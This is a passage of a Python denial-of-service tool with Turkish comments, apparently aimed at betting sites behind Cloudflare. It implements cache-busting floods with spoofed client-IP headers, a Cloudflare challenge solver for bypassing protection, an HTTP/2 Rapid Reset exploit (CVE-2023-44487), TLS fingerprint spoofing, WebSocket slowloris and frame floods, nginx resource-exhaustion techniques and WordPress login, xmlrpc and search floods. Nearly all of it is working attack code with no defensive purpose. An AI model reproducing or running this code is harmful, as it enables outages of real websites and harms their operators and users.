    '/css/bootstrap.min.css','/css/style.css','/js/jquery.min.js',
    '/js/bootstrap.min.js','/js/app.js',
    # WP static
    '/wp-includes/js/jquery/jquery.min.js',
    '/wp-includes/css/dist/block-library/style.min.css',
    '/wp-content/themes/generatepress/style.css',
    '/wp-content/themes/astra/style.css',
    '/wp-content/themes/hello-elementor/style.css',
    # Bet/affiliate spesifik
    '/live','/sports','/casino','/slots','/betting','/promotions','/bonuses',
    '/en/sports','/tr/sports','/en/casino','/tr/casino',
    # Image/font
    '/images/logo.png','/images/banner.jpg','/img/bg.jpg','/img/logo.svg',
    '/fonts/roboto.woff2','/fonts/opensans.woff2',
    # CDN ve CF
    '/cdn-cgi/rum','/cdn-cgi/challenge-platform/h/g/orchestrate/managed/v1',
    '/wp-json/wp/v2/posts',
]
_ACCEPT_MAP = {
    'css': 'text/css,*/*;q=0.1',
    'js':  'application/javascript,*/*;q=0.1',
    'png': 'image/webp,image/apng,image/*,*/*;q=0.8',
    'jpg': 'image/webp,image/apng,image/*,*/*;q=0.8',
    'svg': 'image/svg+xml,image/*,*/*;q=0.8',
    'ico': 'image/x-icon,image/*,*/*;q=0.5',
    'woff2':'font/woff2,font/*,*/*;q=0.7',
    'woff': 'font/woff,font/*,*/*;q=0.7',
    'xml': 'application/xml,text/xml,*/*;q=0.9',
    'txt': 'text/plain,*/*;q=0.9',
    'json':'application/json,*/*;q=0.9',
}

def w_STATICHTTP(t, rpc):
    """
    Statik içerik flood: cache-busting + ETag mismatch + path rotation.
    CF/nginx cache'ini bypass ederek origin'e max baskı uygular.
    Statik site + CDN korumalı bet perdesi için tasarlandı.
    """
    while not _stop.is_set():
        with suppress(Exception):
            s = t.conn()
            for _ in range(rpc):
                if _stop.is_set(): break
                path = random.choice(_STATIC_PATHS)
                ext  = path.rsplit('.', 1)[-1].lower() if '.' in path.split('/')[-1] else ''
                acc  = _ACCEPT_MAP.get(ext, 'text/html,application/xhtml+xml,*/*;q=0.9')
                ip   = rip()
                # Cache buster: her istek farklı URL → CDN miss → origin vurulur
                bust = f"?v={rstr(10)}&_={rint(100000000,999999999)}"
                # ETag mismatch: sunucuyu tam cevap vermeye zorlar
                etag = f'W/"{rstr(8)}-{rint(1000,9999)}"'
                pl = (
                    f"GET {path}{bust} HTTP/1.1\r\n"
                    f"Host: {t.auth}\r\n"
                    f"Accept: {acc}\r\n"
                    f"Accept-Encoding: gzip, deflate, br\r\n"
                    f"Accept-Language: en-US,en;q=0.9,tr;q=0.8\r\n"
                    f"Cache-Control: no-cache, no-store, must-revalidate\r\n"
                    f"Pragma: no-cache\r\n"
                    f"Connection: keep-alive\r\n"
                    f"User-Agent: {rua()}\r\n"
                    f"Referer: {t.scheme}://{t.host}/\r\n"
                    f"X-Forwarded-For: {ip}\r\n"
                    f"X-Real-IP: {ip}\r\n"
                    f"CF-Connecting-IP: {ip}\r\n"
                    f"If-None-Match: {etag}\r\n"
                    f"If-Modified-Since: Mon, 01 Jan 2024 00:00:00 GMT\r\n"
                    f"Sec-Fetch-Dest: {'style' if ext=='css' else 'script' if ext=='js' else 'image' if ext in ('png','jpg','ico','svg') else 'document'}\r\n"
                    f"Sec-Fetch-Mode: no-cors\r\n"
                    f"Sec-Fetch-Site: same-origin\r\n"
                    f"\r\n"
                ).encode()
                if not send(s, pl): break
            close(s)

# ══════════════════════════════════════════════════════════════════════════════
# YENİ METOTLAR: CF_BYPASS · RAPID_RESET · TLS_SPOOF · KILLER
# ══════════════════════════════════════════════════════════════════════════════

# ── HTTP/2 raw frame builder (stdlib, harici kütüphane yok) ───────────────────
def _h2f(ftype, flags, sid, payload=b''):
    """9-byte HTTP/2 frame header + payload."""
    l = len(payload)
    return (struct.pack('!BBB', (l>>16)&0xFF, (l>>8)&0xFF, l&0xFF) +
            struct.pack('!BB', ftype, flags) +
            struct.pack('!I', sid & 0x7FFFFFFF) + payload)

_H2_PREFACE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'
_H2_INIT    = (_h2f(0x4, 0, 0) +                                    # SETTINGS
               _h2f(0x8, 0, 0, struct.pack('!I', 0x3FFFFFFF)))      # WINDOW_UPDATE

def _h2_hpack(host, path):
    """HPACK static table ile minimal header blok (path/host ≤126 byte)."""
    p = (path.encode() if isinstance(path, str) else path)[:126]
    h = (host.encode() if isinstance(host, str) else host)[:126]
    return (b'\x82\x87'                        # :method GET, :scheme https
          + b'\x04' + bytes([len(p)]) + p      # :path literal (idx 4)
          + b'\x41' + bytes([len(h)]) + h)     # :authority literal (idx 1)

# ── Built-in CF Challenge Solver (stdlib only — cloudscraper mantığından uyarlandı) ──
# Kaynak: cloudflare_v2.py::handle_V2_Challenge, cloudflare_v3.py::handle_V3_Challenge,
#         stealth.py::_apply_browser_quirks, user_agent/__init__.py, browsers.json
# Bağımlılık: sıfır.

# Chrome cipher suite (browsers.json'dan birebir)
_CS_CHROME = (
    'TLS_AES_128_GCM_SHA256:TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:'
    'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:'
    'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:'
    'ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:'
    'ECDHE-RSA-AES128-SHA:ECDHE-RSA-AES256-SHA:'
    'AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA:AES256-SHA'
)
# Firefox cipher suite (browsers.json'dan birebir — sıra farklı, bu JA3'ü ayıran şey)
_CS_FIREFOX = (
    'TLS_AES_128_GCM_SHA256:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_256_GCM_SHA384:'
    'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:'
    'ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:'
    'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:'
    'ECDHE-ECDSA-AES256-SHA:ECDHE-ECDSA-AES128-SHA:'
    'ECDHE-RSA-AES128-SHA:ECDHE-RSA-AES256-SHA:'
    'DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA:AES128-SHA:AES256-SHA'
)

# Browser profilleri — UA, header sırası, sabit headerlar (stealth.py + browsers.json)
_BP = {
    'chrome': {
        'ua':      'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
        'ciphers': _CS_CHROME,
        'order':   ['Host','Connection','sec-ch-ua','sec-ch-ua-mobile','sec-ch-ua-platform',
                    'User-Agent','Accept','Sec-Fetch-Site','Sec-Fetch-Mode','Sec-Fetch-User',
                    'Sec-Fetch-Dest','Accept-Encoding','Accept-Language','Cookie'],
        'fixed': {
            'Connection':               'keep-alive',
            'sec-ch-ua':                '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"',
            'sec-ch-ua-mobile':         '?0',
            'sec-ch-ua-platform':       '"Windows"',
            'Accept':                   'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
            'Sec-Fetch-Site':           'none',
            'Sec-Fetch-Mode':           'navigate',
            'Sec-Fetch-User':           '?1',
            'Sec-Fetch-Dest':           'document',
            'Accept-Encoding':          'gzip, deflate, br',
            'Accept-Language':          'en-US,en;q=0.9',
        }
    },
    'firefox': {
        'ua':      'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0',
        'ciphers': _CS_FIREFOX,
        'order':   ['Host','User-Agent','Accept','Accept-Language','Accept-Encoding',
                    'Connection','Upgrade-Insecure-Requests','Cookie'],
        'fixed': {
            'Accept':                   'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Accept-Language':          'en-US,en;q=0.5',
            'Accept-Encoding':          'gzip, deflate, br',
            'Connection':               'keep-alive',
            'Upgrade-Insecure-Requests':'1',
            'TE':                       'trailers',
        }
    },
}

def _mk_ssl(browser='chrome'):
    """Browser cipher suite ile SSLContext (stdlib ssl, CipherSuiteAdapter mantığı)."""
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.check_hostname = False
    ctx.verify_mode    = ssl.CERT_NONE
    ctx.minimum_version = ssl.TLSVersion.TLSv1_2
    with suppress(Exception): ctx.set_ciphers(_BP.get(browser, _BP['chrome'])['ciphers'])
    with suppress(Exception): ctx.set_ecdh_curve('prime256v1')
    return ctx

def _mk_opener(browser, jar):
    """Cookie jar + browser cipher suite ile urllib opener (stealth.py header sırası)."""
    import urllib.request
    prof   = _BP.get(browser, _BP['chrome'])
    opener = urllib.request.build_opener(
        urllib.request.HTTPSHandler(context=_mk_ssl(browser)),
        urllib.request.HTTPRedirectHandler(),
        urllib.request.HTTPCookieProcessor(jar),
    )
    hdrs = [('User-Agent', prof['ua'])]
    for k in prof['order']:
        if k in prof['fixed'] and k != 'User-Agent':
            hdrs.append((k, prof['fixed'][k]))
    opener.addheaders = hdrs
    return opener

# CF challenge tespit regex'leri (cloudflare.py, cloudflare_v2.py, cloudflare_v3.py'den)
import re as _re
_CF_V3_RE   = _re.compile(r"cpo\.src\s*=.*?orchestrate/jsch/v3|window\._cf_chl_ctx\s*=|__cf_chl_rt_tk=", _re.S)
_CF_V2_RE   = _re.compile(r"cpo\.src\s*=.*?orchestrate/(?:jsch|managed)/v[12]|window\._cf_chl_opt\s*=|__cf_chl_f_tk=", _re.S)
_CF_BLCK_RE = _re.compile(r'<span class="cf-error-code">1020</span>', _re.S)
_CF_TURN_RE = _re.compile(r'class="cf-turnstile"|challenges\.cloudflare\.com/turnstile', _re.S)
_CF_R_RE    = _re.compile(r'name=["\']r["\'][^>]+value=["\']([^"\']{10,})["\']')
_CF_ACT_RE  = _re.compile(r'<form[^>]+id="challenge-form"[^>]+action="([^"]+)"', _re.S)
_CF_OPT_RE  = _re.compile(r'window\._cf_chl_opt\s*=\s*(\{.*?\});', _re.S)

def _cf_type(body, resp_headers):
    """Yanıttan CF challenge türünü tespit et (None = CF yok)."""
    h = {k.lower(): v for k, v in (resp_headers or {}).items()}
    if not (h.get('server', '').lower().startswith('cloudflare') or 'cf-ray' in h):
        return None
    if _CF_BLCK_RE.search(body): return 'blocked'
    if _CF_TURN_RE.search(body): return 'turnstile'
    if _CF_V3_RE.search(body):   return 'v3'
    if _CF_V2_RE.search(body):   return 'v2'
    return None

def _cf_solve(url, browser='chrome', jar=None, timeout=15):
    """
    CF V2/V3 IUAM challenge çöz (saf stdlib).

    Logic kaynağı:
      cloudflare_v2.py::handle_V2_Challenge + generate_challenge_payload
      cloudflare_v3.py::handle_V3_Challenge + extract_v3_challenge_data
      cloudflare.py::Challenge_Response (delay + POST + redirect takibi)

    Adımlar:
      1. Browser cipher suite ile GET → CF challenge sayfası al
      2. challenge türünü tespit et
      3. r token + form action extract et
      4. _cf_chl_opt JSON'dan cvId/chlPageData ekle
      5. 4-5s bekle (CF'nin JS challenge timer'ı)
      6. POST → redirect takip et → cf_clearance cookie'si set olur
    Döner: "cf_clearance=<value>" ya da None
    """
    import urllib.request, urllib.error, http.cookiejar as hcj, json as _js
    from urllib.parse import urlencode, urljoin, urlparse

    if jar is None:
        jar = hcj.CookieJar()
    parsed = urlparse(url)
    base   = f"{parsed.scheme}://{parsed.netloc}"
    opener = _mk_opener(browser, jar)
    prof   = _BP.get(browser, _BP['chrome'])

    try:
        body, resp_headers = '', {}
        try:
            r = opener.open(url, timeout=timeout)
            body = r.read().decode('utf-8', errors='ignore')
            resp_headers = dict(r.headers)
        except urllib.error.HTTPError as e:
            body = e.read().decode('utf-8', errors='ignore')
            resp_headers = dict(e.headers)
        except Exception:
            return None

        ctype = _cf_type(body, resp_headers)
        if ctype in (None, 'blocked', 'turnstile'):
            for ck in jar:
                if ck.name == 'cf_clearance': return f'cf_clearance={ck.value}'
            return None

        rm = _CF_R_RE.search(body)
        am = _CF_ACT_RE.search(body)
        if not rm or not am:
            for ck in jar:
                if ck.name == 'cf_clearance': return f'cf_clearance={ck.value}'
            return None

        action_url = am.group(1)
        if not action_url.startswith('http'):
            action_url = urljoin(base, action_url)

        # generate_challenge_payload (cloudflare_v2.py)
        payload = {'r': rm.group(1), 'cf_ch_verify': 'plat',
                   'vc': '', 'captcha_vc': '', 'cf_captcha_kind': 'h', 'h-captcha-response': ''}
        om = _CF_OPT_RE.search(body)
        if om:
            with suppress(Exception):
                opt = _js.loads(om.group(1))
                if 'cvId' in opt:        payload['cv_chal_id']        = opt['cvId']
                if 'chlPageData' in opt: payload['cf_chl_page_data']  = opt['chlPageData']

        # delay (cloudflare.py submit() regex)
        dm = _re.search(r'submit\(\).*?},\s*(\d+)', body, _re.S)
        time.sleep(max(4.0, min(float(dm.group(1)) / 1000 if dm else 5.0, 10.0)))

        # POST + redirect takibi
        req = urllib.request.Request(action_url, urlencode(payload).encode(), method='POST')
        req.add_header('User-Agent',   prof['ua'])
        req.add_header('Origin',       base)
        req.add_header('Referer',      url)
        req.add_header('Content-Type', 'application/x-www-form-urlencoded')
        req.add_header('Accept',       prof['fixed']['Accept'])
        with suppress(Exception):
            opener.open(req, timeout=timeout)
    except Exception:
        pass

    for ck in jar:
        if ck.name == 'cf_clearance': return f'cf_clearance={ck.value}'
    return None

# ── CF_BYPASS ─────────────────────────────────────────────────────────────────
def w_CF_BYPASS(t, rpc):
    """
    Saf stdlib CF bypass — dışa bağımlılık yok.
    Chrome/Firefox cipher suite + CF V2/V3 challenge solver + cookie carry-forward.
    cf_clearance alındıktan sonra aynı jar ile flood devam eder.
    """
    import urllib.request, http.cookiejar as hcj
    url = f"{t.scheme}://{t.auth}{t.path}"
    while not _stop.is_set():
        with suppress(Exception):
            browser = random.choice(list(_BP.keys()))
            jar     = hcj.CookieJar()
            _cf_solve(url, browser=browser, jar=jar, timeout=12)
            opener  = _mk_opener(browser, jar)
            for _ in range(rpc):
                if _stop.is_set(): break
                with suppress(Exception):
                    r = opener.open(url, timeout=8)
                    d = r.read()
                    with _lock: SENT[0] += 1; BYTES[0] += len(d)

# ── RAPID_RESET ───────────────────────────────────────────────────────────────

def _h2_hpack_full(host, path):
    """
    Tam tarayıcı HPACK bloğu — sunucu başına daha pahalı header parsing.
    Literal without indexing (0x00 prefix) ile user-agent, accept, accept-encoding
    eklenir; sunucu daha fazla bellek + parse süresi harcar.
    """
    def _ls(b):  # HPACK string: length byte (max 127, no Huffman) + bytes
        b = b[:127]
        return bytes([len(b)]) + b
    p  = (path.encode() if isinstance(path, str) else path)[:127]
    h  = (host.encode() if isinstance(host, str) else host)[:127]
    ua = b'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36'[:127]
    return (
        b'\x82\x87'                                              # :method GET, :scheme https
        + b'\x04' + _ls(p)                                       # :path
        + b'\x41' + _ls(h)                                       # :authority
        + b'\x00' + _ls(b'user-agent')     + _ls(ua)             # user-agent
        + b'\x00' + _ls(b'accept')         + _ls(b'text/html,application/xhtml+xml,*/*;q=0.9')
        + b'\x00' + _ls(b'accept-encoding') + _ls(b'gzip, deflate, br')
        + b'\x00' + _ls(b'accept-language') + _ls(b'en-US,en;q=0.9')
    )

def w_RAPID_RESET(t, rpc):
    """
    HTTP/2 Rapid Reset (CVE-2023-44487) — güçlendirilmiş versiyon (stdlib only).

    Saldırı özü:
      HEADERS frame → sunucu request slot açar (memory + goroutine/thread)
      RST_STREAM CANCEL → slot serbest kalır — AMA sunucu işlem kuyruğunu
      boşaltamadan yenileri gelirse kuyruk taşar → OOM / event loop tıkanır.

    Eski sürüme göre iyileştirmeler:
      1. _mk_ssl('chrome') — browser TLS el sıkışması → daha fazla TLS kabulü
      2. SO_SNDBUF 512 KB  — kernel gönderim tamponu büyütüldü → veri birikimiyor
      3. SETTINGS INITIAL_WINDOW_SIZE = 2³¹-1 — sunucu stream başına max buffer ayırır
      4. Server SETTINGS okunup SETTINGS ACK gönderilir — sunucu bağlantıyı korur
      5. WINDOW_UPDATE keepalive her 64 stream — flow control bitişi önlenir
      6. 128 KB batch — tek sendall'da daha fazla frame → az syscall, yüksek throughput
      7. Zengin HPACK (_h2_hpack_full) — sunucu stream başına daha fazla bellek + parse
      8. rpc başına iterasyon: max(rpc*100, 5000) — düşük rpc'de bile etkili
    """
    if not t.tls:
        w_GET(t, rpc); return

    _BATCH  = 131072          # 128 KB batch eşiği
    _WSMAX  = 0x7FFFFFFF      # H2 max window size
    _RST    = struct.pack('!I', 8)     # CANCEL error code
    _WU64   = _h2f(0x8, 0, 0, struct.pack('!I', 65535))  # conn WINDOW_UPDATE
    _SACK   = _h2f(0x4, 0x1, 0)       # SETTINGS ACK

    iters = max(rpc * 100, 5000)       # stream sayısı — düşük rpc'de de etkili

    while not _stop.is_set():
        with suppress(Exception):
            # 1. Browser cipher suite ile TLS — daha az "unknown client" reddi
            ctx = _mk_ssl('chrome')
            raw = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            raw.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
            with suppress(Exception):
                raw.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1 << 19)  # 512 KB
            raw.settimeout(10)
            raw.connect((t.host, t.port))
            s = ctx.wrap_socket(raw, server_hostname=t.host)

            # 2. Preface + SETTINGS: INITIAL_WINDOW_SIZE max + connection WINDOW_UPDATE
            s.sendall(
                _H2_PREFACE +
                _h2f(0x4, 0, 0, struct.pack('!HI', 0x4, _WSMAX)) +
                _h2f(0x8, 0, 0, struct.pack('!I', _WSMAX))
            )

            # 3. Server SETTINGS oku + ACK — bağlantı ömrünü uzatır
            s.settimeout(0.4)
            try:
                s.recv(512)           # server SETTINGS frame
                s.settimeout(None)
                s.sendall(_SACK)      # SETTINGS ACK → sunucu mutlu
            except Exception:
                pass
            s.settimeout(None)

            # 4. Rapid Reset bombardımanı
            sid   = 1
            buf   = b''
            count = 0

            for i in range(iters):
                if _stop.is_set() or sid > 0x7FFFFF0: break

                hpack  = _h2_hpack_full(t.host, t.path)
                buf   += _h2f(0x1, 0x4, sid, hpack)   # HEADERS END_HEADERS
                buf   += _h2f(0x3, 0x0, sid, _RST)    # RST_STREAM CANCEL
                sid   += 2
                count += 1

                # WINDOW_UPDATE keepalive — her 64 stream'de bir
                if count % 64 == 0:
                    buf += _WU64

                # 128 KB dolunca gönder — tek syscall ile max frame
                if len(buf) >= _BATCH:
                    s.sendall(buf)
                    with _lock: SENT[0] += count; BYTES[0] += len(buf)
                    buf = b''; count = 0

            if buf:
                with suppress(Exception): s.sendall(buf)
                with _lock: SENT[0] += max(1, count); BYTES[0] += len(buf)
            close(s)

# ── TLS_SPOOF ─────────────────────────────────────────────────────────────────
def w_TLS_SPOOF(t, rpc):
    """
    TLS cipher suite spoof — stdlib ssl ile Chrome/Firefox TLS el sıkışması.
    browsers.json'dan alınan gerçek cipher sıraları kullanılır;
    her session farklı browser seçer → CF'nin TLS parmak izi tespitini bozar.
    Dışa bağımlılık yok.
    """
    import urllib.request, http.cookiejar as hcj
    url = f"{t.scheme}://{t.auth}{t.path}"
    while not _stop.is_set():
        with suppress(Exception):
            browser = random.choice(list(_BP.keys()))
            jar     = hcj.CookieJar()
            opener  = _mk_opener(browser, jar)
            for _ in range(rpc):
                if _stop.is_set(): break
                with suppress(Exception):
                    r = opener.open(url, timeout=8)
                    d = r.read()
                    with _lock: SENT[0] += 1; BYTES[0] += len(d)

# ── KILLER ────────────────────────────────────────────────────────────────────
_KILLER_IDX = [0]

def w_KILLER(t, rpc):
    """
    KILLER — 3 vektörü eş zamanlı çalıştır.
      Thread N%3=0 → RAPID_RESET   (HTTP/2 CVE-2023-44487)
      Thread N%3=1 → CF_BYPASS     (cloudscraper) veya UAM_BYPASS (cookie varsa)
      Thread N%3=2 → TLS_SPOOF     (JA3 fingerprint)
    Her vektör threads/3 thread alır; hedef 3 farklı açıdan aynı anda zorlanır.
    """
    with _lock:
        _KILLER_IDX[0] += 1
        role = _KILLER_IDX[0] % 3
    if role == 0:
        w_RAPID_RESET(t, rpc)
    elif role == 1:
        if _UAM_ORIGIN_IPS or _UAM_COOKIE_STR:
            w_UAM_BYPASS(t, rpc)
        else:
            w_CF_BYPASS(t, rpc)
    else:
        w_TLS_SPOOF(t, rpc)

# ══════════════════════════════════════════════════════════════════════════════
# WEBSOCKET_KILLER · NGINX_KILLER · WORDPRESS_KILLER
# ══════════════════════════════════════════════════════════════════════════════

def _ws_frame(opcode, payload=b''):
    """RFC 6455 WebSocket istemci frame'i — FIN=1, masked (client zorunluluğu)."""
    mask = os.urandom(4)
    p    = bytes(b ^ mask[i % 4] for i, b in enumerate(
               payload if isinstance(payload, (bytes, bytearray)) else payload.encode()))
    n    = len(p)
    if   n <= 125:   hdr = bytes([0x80 | opcode, 0x80 | n])
    elif n <= 65535: hdr = bytes([0x80 | opcode, 0x80 | 126]) + struct.pack('!H', n)
    else:            hdr = bytes([0x80 | opcode, 0x80 | 127]) + struct.pack('!Q', n)
    return hdr + mask + p

_WS_PATHS = [
    '/ws', '/websocket', '/wss', '/chat', '/live', '/realtime',
    '/socket.io/', '/events', '/stream', '/api/ws', '/push',
    '/notifications', '/hub', '/hubs', '/signalr/connect',
    '/sockjs/websocket', '/cable', '/updates', '/feed',
]
_WS_PING  = _ws_frame(0x09)   # PING opcode
_WS_CLOSE = _ws_frame(0x08)   # CLOSE opcode

def w_WEBSOCKET_KILLER(t, rpc):
    """
    WebSocket bağlantı tüketici + frame flood (stdlib only).

    Teknik 1 — Slowloris WS (thread %3==0, ~33%):
      WS Upgrade handshake → bağlantıyı açık tut → her 20s PING frame.
      Sunucunun max_connections / worker_connections limitini tüketir.

    Teknik 2 — Frame flood (thread %3==1, ~33%):
      Handshake → 128 B–8 KB arası TEXT/BINARY frame'ler → parse + buffer yükü.
      ws.send() işleyici her frame için event döngüsünde slot açar.

    Teknik 3 — Upgrade spam (thread %3==2, ~33%):
      Sadece Upgrade başlığı gönder, 101 beklemeden bağlantıyı kapat.
      Her deneme yeni TCP+TLS handshake → accept() queue doldurma.

    Endpoint rotasyonu: /ws, /websocket, /socket.io/, /chat, /live vb.
    """
    import base64 as _b64

    with _lock:
        _KILLER_IDX[0] += 1
        role = _KILLER_IDX[0] % 3

    while not _stop.is_set():
        with suppress(Exception):
            path = random.choice(_WS_PATHS)
            key  = _b64.b64encode(os.urandom(16)).decode()
            upgrade_req = (
                f"GET {path} HTTP/1.1\r\n"
                f"Host: {t.auth}\r\n"
                f"Connection: Upgrade\r\n"
                f"Upgrade: websocket\r\n"
                f"Sec-WebSocket-Key: {key}\r\n"
                f"Sec-WebSocket-Version: 13\r\n"
                f"Origin: {t.scheme}://{t.host}\r\n"
                f"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\r\n"
                f"\r\n"
            ).encode()

            if role == 2:  # Upgrade spam — no read
                s = t.conn(3)
                send(s, upgrade_req)
                with _lock: SENT[0] += 1
                close(s)
                continue

            s = t.conn(10)
            send(s, upgrade_req)

            # 101 Switching Protocols bekliyoruz
            s.settimeout(2)
            try:
                resp = s.recv(512).decode('utf-8', errors='ignore')
                upgraded = '101' in resp
            except Exception:
                upgraded = False
            s.settimeout(None)

            if role == 0:  # Slowloris WS
                for _ in range(rpc * 5):
                    if _stop.is_set(): break
                    time.sleep(20)
                    if not send(s, _WS_PING): break
                    with _lock: SENT[0] += 1
            else:           # Frame flood
                for _ in range(rpc):
                    if _stop.is_set(): break
                    sz  = random.choice([128, 512, 1024, 4096, 8192])
                    frm = _ws_frame(random.choice([0x01, 0x02]), os.urandom(sz))
                    if not send(s, frm): break
                    with _lock: SENT[0] += 1; BYTES[0] += len(frm)
            close(s)


# ── NGINX_KILLER ──────────────────────────────────────────────────────────────
def w_NGINX_KILLER(t, rpc):
    """
    Nginx'e özgü çok-vektör L7 flood.

    Teknik 1 — HTTP/1.1 Pipeline flood (40%):
      Tek TCP bağlantıda rpc adet GET → nginx worker o bağlantıyı sırayla işler.
      worker_connections dolduğunda yeni bağlantılar reddedilir.

    Teknik 2 — Header buffer overflow (30%):
      ~7.8 KB rastgele isim=değer header'ları → nginx large_client_header_buffers
      (default: 4×8 KB) max kullanıma iter → header parsing bellek basıncı.

    Teknik 3 — Range exhaustion (20%):
      Range: bytes=0-0,5-10,...,4995-5000 (1000 range) → nginx range parser +
      her range için ayrı sendfile/read → disk I/O + çekirdek context switch.

    Teknik 4 — Slow POST body (10%):
      Content-Length: 50 MB + body yok → nginx client_body_timeout (default 60s)
      boyunca worker bağlantısı meşgul → bağlantı havuzu tükenir.
    """
    while not _stop.is_set():
        with suppress(Exception):
            role = rint(0, 9)

            if role < 4:  # Pipeline flood
                s   = t.conn(10)
                req = (f"GET {t.path} HTTP/1.1\r\nHost: {t.auth}\r\n"
                       f"User-Agent: {rua()}\r\nAccept: */*\r\n"
                       f"Connection: keep-alive\r\n\r\n")
                pipeline = req.encode() * rpc
                send(s, pipeline)
                with _lock: SENT[0] += rpc; BYTES[0] += len(pipeline)
                close(s)

            elif role < 7:  # Header overflow
                s    = t.conn(6)
                # 8 adet ~1 KB başlık → ~8 KB toplam (nginx sınırına yakın)
                hdrs = ''.join(f"X-{rstr(8).capitalize()}: {rstr(980)}\r\n" for _ in range(8))
                req  = (f"GET {t.path} HTTP/1.1\r\nHost: {t.auth}\r\n"
                        f"User-Agent: {rua()}\r\n" + hdrs + "\r\n").encode()
                send(s, req)
                with _lock: SENT[0] += 1; BYTES[0] += len(req)
                close(s)

            elif role < 9:  # Range exhaustion
                s      = t.conn(6)
                ranges = ','.join(f"{i*5}-{i*5+4}" for i in range(1000))
                req    = (f"GET {t.path} HTTP/1.1\r\nHost: {t.auth}\r\n"
                          f"User-Agent: {rua()}\r\n"
                          f"Range: bytes={ranges}\r\n\r\n").encode()
                send(s, req)
                with _lock: SENT[0] += 1; BYTES[0] += len(req)
                close(s)

            else:  # Slow POST body wait
                s   = t.conn(75)
                cl  = rint(50_000_000, 200_000_000)   # 50–200 MB Content-Length
                req = (f"POST {t.path} HTTP/1.1\r\nHost: {t.auth}\r\n"
                       f"User-Agent: {rua()}\r\n"
                       f"Content-Type: application/octet-stream\r\n"
                       f"Content-Length: {cl}\r\n\r\n").encode()
                send(s, req)
                for _ in range(rpc * 3):  # body damla damla → nginx bekler
                    if _stop.is_set(): break
                    time.sleep(2)
                    if not send(s, b'x'): break
                with _lock: SENT[0] += 1
                close(s)


# ── WORDPRESS_KILLER ──────────────────────────────────────────────────────────
def w_WORDPRESS_KILLER(t, rpc):
    """
    WordPress'e özgü çok-vektör L7 flood.

    Cache'siz + PHP/MySQL ağır endpoint'ler:
    1. wp-login.php POST    — PHP session + DB auth sorgusu
    2. /?s=random           — posts LIKE sorgusu (tam tablo taraması, no-cache)
    3. /xmlrpc.php          — wp.getUsersBlogs auth + DB
    4. /wp-json/wp/v2/posts — REST API + JOIN query + JSON encode
    5. admin-ajax heartbeat — session check + option yükleme
    6. /?p=N&preview=true  — tam WP çalışması, cache bypass
    7. wp-comments-post.php — antispam + DB insert
    8. /?cat=N&feed=rss2   — RSS + DB query + XML generate

    Her istek WP'yi tam bootstrap eder: 50-200+ DB sorgusu + PHP eval yükü.
    """
    _ACTIONS = ['heartbeat', 'query-attachments', 'ajax-tag-search',
                'wp-compression-test', 'get-permalink']

    while not _stop.is_set():
        with suppress(Exception):
            s    = t.conn(8)
            mode = rint(0, 7)

            if mode == 0:    # wp-login.php POST
                body = (f"log={rstr(8)}&pwd={rstr(12)}&wp-submit=Log+In"
                        f"&redirect_to=%2Fwp-admin%2F&testcookie=1")
                req = (f"POST /wp-login.php HTTP/1.1\r\nHost: {t.auth}\r\n"
                       f"User-Agent: {rua()}\r\n"
                       f"Referer: {t.scheme}://{t.host}/wp-login.php\r\n"
                       f"Content-Type: application/x-www-form-urlencoded\r\n"
                       f"Content-Length: {len(body)}\r\nConnection: keep-alive\r\n\r\n"
                       f"{body}").encode()
                for _ in range(rpc):
                    if _stop.is_set() or not send(s, req): break

            elif mode == 1:  # DB search — full table scan (LIKE %random%)
                for _ in range(rpc):
                    if _stop.is_set(): break
                    q   = rstr(rint(4, 10))
                    req = (f"GET /?s={q} HTTP/1.1\r\nHost: {t.auth}\r\n"
                           f"User-Agent: {rua()}\r\nAccept: text/html\r\n\r\n").encode()
                    if not send(s, req): break

            elif mode == 2:  # xmlrpc flood
                body = (f'<?xml version="1.0"?><methodCall>'
                        f'<methodName>wp.getUsersBlogs</methodName><params>'
                        f'<param><value><string>{rstr(8)}</string></value></param>'
                        f'<param><value><string>{rstr(12)}</string></value></param>'
                        f'</params></methodCall>')
                req  = (f"POST /xmlrpc.php HTTP/1.1\r\nHost: {t.auth}\r\n"
                        f"User-Agent: {rua()}\r\nContent-Type: text/xml\r\n"
                        f"Content-Length: {len(body)}\r\n\r\n{body}").encode()
                for _ in range(rpc):
                    if _stop.is_set() or not send(s, req): break

            elif mode == 3:  # REST API search
                for _ in range(rpc):
                    if _stop.is_set(): break
                    q   = rstr(rint(3, 8))
                    req = (f"GET /wp-json/wp/v2/posts?search={q}&_={rint(0,9999999)} HTTP/1.1\r\n"
                           f"Host: {t.auth}\r\nUser-Agent: {rua()}\r\n"
                           f"Accept: application/json\r\n\r\n").encode()
                    if not send(s, req): break

            elif mode == 4:  # admin-ajax heartbeat (WP session + options yükü)
                for _ in range(rpc):
                    if _stop.is_set(): break
                    nonce  = rstr(10)
